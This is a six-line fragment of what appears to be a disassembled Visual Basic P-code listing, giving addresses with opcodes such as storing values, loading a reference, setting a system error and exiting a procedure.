0040f7f6FStR4 65348
0040f7f9SetLastSystemError
0040f7faILdRf var_BC
0040f7fdFMemStI4 arg_8, 0
0040f802ExitProcCb 16
0040f5a4